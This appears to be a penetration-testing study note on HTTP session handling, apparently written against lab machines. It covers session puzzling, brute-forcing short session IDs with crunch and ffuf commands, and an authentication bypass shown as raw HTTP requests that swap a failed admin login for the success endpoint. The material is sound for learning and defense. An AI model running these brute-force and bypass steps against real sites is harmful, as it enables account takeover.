HTTP is a stateless protocol so it doesn't remember anything. Each request is treated as completely new. In order to save or pass along data there are:
- Session variables
- Session tokens
- Session cookies
Session tokens
Stateful tokens The server will generate a random session token that identifies the client's session. The server stores user data linking the session token to the user in memory.
# Token
Set-Cookie: PHPSESSID=hvplcmsh88ja77r3dutanmn68u;
# On the server
$ ls -la /var/lib/php/sessions/
total 4
drwx-wx-wt 1 root root 62 Jan 29 10:55 .
drwxr-xr-x 1 root root 30 Jan 29 10:53 ..
-rw------- 1 www-data www-data 35 Jan 29 10:55 sess_hvplcmsh88ja77r3dutanmn68u
# Contents of the cookie
$ cat /var/lib/php/sessions/sess_hvplcmsh88ja77r3dutanmn68u
Username|s:8:"testuser";Active|b:1;
Stateless tokens
Stateless session tokens are not stored on the server and contain all data and info in the token itself. An example of a stateless session tokens are Json Web Tokens, https://mcz3n.com/web/json-web-token.
Session Puzzling
Now for Session Puzzling the vulnerability lies in the improper handling of session variables. Using PHP if we login our id is stored in session variable. However when logging out the session is not destroyed but the user_id is set to 0.
-
Attacker logs (as user_id = 123)
-
Session now contains
user_id = 123 -
Attacker clicks logout
-
Code sets
user_id = 0instead of destroying the session -
If user ID 0 exists (like an admin account), the attacker is now effectively logged in as that user
-
Attacker can access
/profile.phpand see admin data
Weak Session IDs
Session IDs must long and complex to they cannot be guessed or fuzzed, at least 16 bytes long. Coming across short session IDs.
# Short session ID
Cookie: sessionID=lljk
Create a word-list with crunch and bruteforce all possible IDs.
# Wordlist
crunch 4 4 "abcdefghijklmnopqrstuvwxyz1234567890" -o wordlist.txt
# ffuf
ffuf -u http://94.237.48.12:59931/profile.php -b 'sessionID=FUZZ' -w wordlist.txt -fc 302
Finally getting valid ID back we can use that to login and get the profile of that user.
Common Session Variables
When comming across authentication form using a register or password forgot function and is using multiple steps:
- Register or fill administrator user name
- Instead of proceeding the procedure go straight to the endpoint like /profile.php
Premature Session Population
Is when the web server saves data in session variables before the process is fully completed or the result of the process is confirmed. Send a request without valid session cookie and see if the error message changes, if its not showing a username anymore this confirms sessions variables are used to store the user.
Bypass authentication example
# Invalid admin login request
POST /login.php?failed=1 HTTP/1.1
Host: 94.237.50.221:40783
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://94.237.50.221:40783
Connection: keep-alive
Referer: http://94.237.50.221:40783/login.php?failed=1
Cookie: PHPSESSID=ub6q6svmkpkufdvrdiciq71dle
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Username=admin&Password=test&Submit=Login
# Send new request but dont follow redirect, and chang to succesfull endpoint.
GET /login.php?success=1 HTTP/1.1
Host: 94.237.50.221:40783
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://94.237.50.221:40783
Connection: keep-alive
Referer: http://94.237.50.221:40783/login.php?failed=1
Cookie: PHPSESSID=ub6q6svmkpkufdvrdiciq71dle
Upgrade-Insecure-Requests: 1
Priority: u=0, i